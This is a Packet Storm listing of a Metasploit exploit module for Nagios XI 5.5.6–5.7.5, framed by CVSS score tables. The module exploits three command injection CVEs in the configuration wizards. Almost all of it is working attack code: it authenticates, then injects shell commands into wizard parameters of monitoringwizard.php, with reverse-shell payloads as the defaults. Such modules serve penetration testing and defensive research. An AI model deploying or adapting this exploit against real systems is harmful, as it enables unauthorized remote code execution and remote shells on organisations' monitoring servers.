Lucene search

K
packetstormMatthew Mathur, metasploit.comPACKETSTORM:170924
HistoryFeb 08, 2023 - 12:00 a.m.

Nagios XI 5.7.5 Remote Code Execution

2023-02-0800:00:00
Matthew Mathur, metasploit.com
packetstormsecurity.com
198

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::NagiosXi  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection',  
'Description' => %q{  
This module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are  
OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm  
configuration wizards that allow an authenticated user to perform remote code  
execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user.  
  
Valid credentials for a Nagios XI user are required. This module has  
been successfully tested against official NagiosXI OVAs from 5.5.6-5.7.5.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Matthew Mathur'  
],  
'References' => [  
['CVE', '2021-25296'],  
['CVE', '2021-25297'],  
['CVE', '2021-25298'],  
['URL', 'https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md']  
],  
'Platform' => %w[linux unix],  
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],  
'Targets' => [  
[  
'Linux (x86)', {  
'Arch' => [ ARCH_X86 ],  
'Platform' => 'linux',  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }  
}  
],  
[  
'Linux (x64)', {  
'Arch' => [ ARCH_X64 ],  
'Platform' => 'linux',  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'CMD', {  
'Arch' => [ ARCH_CMD ],  
'Platform' => 'unix',  
# the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' }  
}  
]  
],  
'Privileged' => false,  
'DefaultTarget' => 2,  
'DisclosureDate' => '2021-02-13',  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options [  
OptString.new('TARGET_CVE', [true, 'CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298)', 'CVE-2021-25296'])  
]  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def finish_install  
datastore['FINISH_INSTALL']  
end  
  
# Returns a status code an a error message on failure.  
# On success returns the status code and an array so we  
# can update the login_result and res_array variables appropriately.  
def handle_unsigned_license(res_array, username, password, finish_install)  
auth_cookies, nsp = res_array  
sign_license_result = sign_license_agreement(auth_cookies, nsp)  
if sign_license_result  
return 5, 'Failed to sign license agreement'  
end  
  
print_status('License agreement signed. The module will wait for 5 seconds and retry the login.')  
sleep 5  
login_result, res_array = login_after_install_or_license(username, password, finish_install)  
case login_result  
when 1..4 # An error occurred, propagate the error message  
return login_result, res_array[0]  
when 5 # The Nagios XI license agreement still has not been signed  
return 5, 'Failed to sign the license agreement.'  
end  
  
return login_result, res_array  
end  
  
def authenticate  
# Use nagios_xi_login to try and authenticate.  
login_result, res_array = nagios_xi_login(username, password, finish_install)  
case login_result  
when 1..3 # An error occurred, propagate the error message  
return login_result, res_array[0]  
when 4 # Nagios XI is not fully installed  
install_result = install_nagios_xi(password)  
if install_result # On installation failure, result is an array with the code and error message  
return install_result[0], install_result[1]  
end  
  
login_result, res_array = login_after_install_or_license(username, password, finish_install)  
case login_result  
when 1..4 # An error occurred, propagate the error message  
return login_result, res_array[0]  
when 5 # The license agreement still needs to be signed  
login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)  
return login_result, res_array unless (login_result == 0)  
end  
when 5 # The license agreement still needs to be signed  
login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)  
return login_result, res_array unless (login_result == 0)  
end  
  
print_good('Successfully authenticated to Nagios XI.')  
# Extract the authenticated cookies and nsp to use throughout the module  
if res_array.length == 2  
auth_cookies = res_array[1]  
if auth_cookies && /nagiosxi=[a-z0-9]+;/.match(auth_cookies)  
@auth_cookies = auth_cookies  
else  
return login_result, 'Failed to extract authentication cookies'  
end  
nsp = res_array[0].match(/nsp_str = "([a-z0-9]+)/)  
if nsp  
@nsp = nsp[1]  
else  
return login_result, 'Failed to extract nsp string'  
end  
else  
return login_result, 'Failed to extract auth cookies and nsp string'  
end  
  
# Set the version here so both check and exploit can use it  
nagios_version = nagios_xi_version(res_array[0])  
if nagios_version.nil?  
return 6, 'Unable to obtain the Nagios XI version from the dashboard'  
end  
  
print_status("Target is Nagios XI with version #{nagios_version}.")  
  
# Versions of NagiosXI pre-5.2 have different formats (5r1.0, 2014r2.7, 2012r2.8b, etc.) that Rex cannot handle,  
# so we set pre-5.2 versions to 1.0.0 for easier Rex comparison because the module only works on post-5.2 versions.  
if /^\d{4}r\d(?:\.\d)?(?:(?:RC\d)|(?:[a-z]{1,3}))?$/.match(nagios_version) || nagios_version == '5r1.0'  
nagios_version = '1.0.0'  
end  
@version = Rex::Version.new(nagios_version)  
  
return 0, 'Successfully authenticated and retrieved NagiosXI Version.'  
end  
  
def check  
# Authenticate to ensure we can access the NagiosXI version  
auth_result, err_msg = authenticate  
case auth_result  
when 1  
return CheckCode::Unknown(err_msg)  
when 2, 4, 5, 6  
return CheckCode::Detected(err_msg)  
when 3  
return CheckCode::Safe(err_msg)  
end  
  
if @version >= Rex::Version.new('5.5.6') && @version <= Rex::Version.new('5.7.5')  
return CheckCode::Appears  
end  
  
return CheckCode::Safe  
end  
  
def execute_command(cmd, _opts = {})  
if !@nsp || !@auth_cookies # Check to see if we already authenticated during the check  
auth_result, err_msg = authenticate  
case auth_result  
when 1  
fail_with(Failure::Disconnected, err_msg)  
when 2, 4, 5, 6  
fail_with(Failure::UnexpectedReply, err_msg)  
when 3  
fail_with(Failure::NotVulnerable, err_msg)  
end  
end  
  
# execute payload based on the selected targeted configuration wizard  
url_params = {  
'update' => 1,  
'nsp' => @nsp  
}  
# After version 5.5.7, the URL parameter used in CVE-2021-25297 and CVE-2021-25298  
# changes from address to ip_address  
if @version <= Rex::Version.new('5.5.7')  
address_param = 'address'  
else  
address_param = 'ip_address'  
end  
  
# CVE-2021-25296 affects the windowswmi configuration wizard.  
if datastore['TARGET_CVE'] == 'CVE-2021-25296'  
url_params = url_params.merge({  
'nextstep' => 3,  
'wizard' => 'windowswmi',  
'ip_address' => Array.new(4) { rand(256) }.join('.'),  
'domain' => Rex::Text.rand_text_alphanumeric(7..15),  
'username' => Rex::Text.rand_text_alphanumeric(7..20),  
'password' => Rex::Text.rand_text_alphanumeric(7..20),  
'plugin_output_len' => Rex::Text.rand_text_numeric(5) + "; #{cmd};"  
})  
# CVE-2021-25297 affects the switch configuration wizard.  
elsif datastore['TARGET_CVE'] == 'CVE-2021-25297'  
url_params = url_params.merge({  
'nextstep' => 3,  
'wizard' => 'switch',  
address_param => Array.new(4) { rand(256) }.join('.') + "\"; #{cmd};",  
'snmpopts[snmpcommunity]' => Rex::Text.rand_text_alphanumeric(7..15),  
'scaninterfaces' => 'on'  
})  
# CVE-2021-25298 affects the cloud-vm configuration wizard, which we can access by  
# specifying the digitalocean option for the wizard parameter.  
elsif datastore['TARGET_CVE'] == 'CVE-2021-25298'  
url_params = url_params.merge({  
address_param => Array.new(4) { rand(256) }.join('.') + "; #{cmd};",  
'nextstep' => 4,  
'wizard' => 'digitalocean'  
})  
else  
fail_with(Failure::BadConfig, 'Invalid TARGET_CVE: Choose CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298.')  
end  
  
print_status('Sending the payload...')  
# Send the final request. Note that the target is not expected to respond if we get  
# code execution. Therefore, we set the timeout on this request to 0.  
send_request_cgi({  
'method' => 'GET',  
'uri' => '/nagiosxi/config/monitoringwizard.php',  
'cookie' => @auth_cookies,  
'vars_get' => url_params  
})  
end  
  
def exploit  
if target.arch.first == ARCH_CMD  
execute_command(payload.encoded)  
else  
execute_cmdstager(background: true)  
end  
end  
end  
`

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C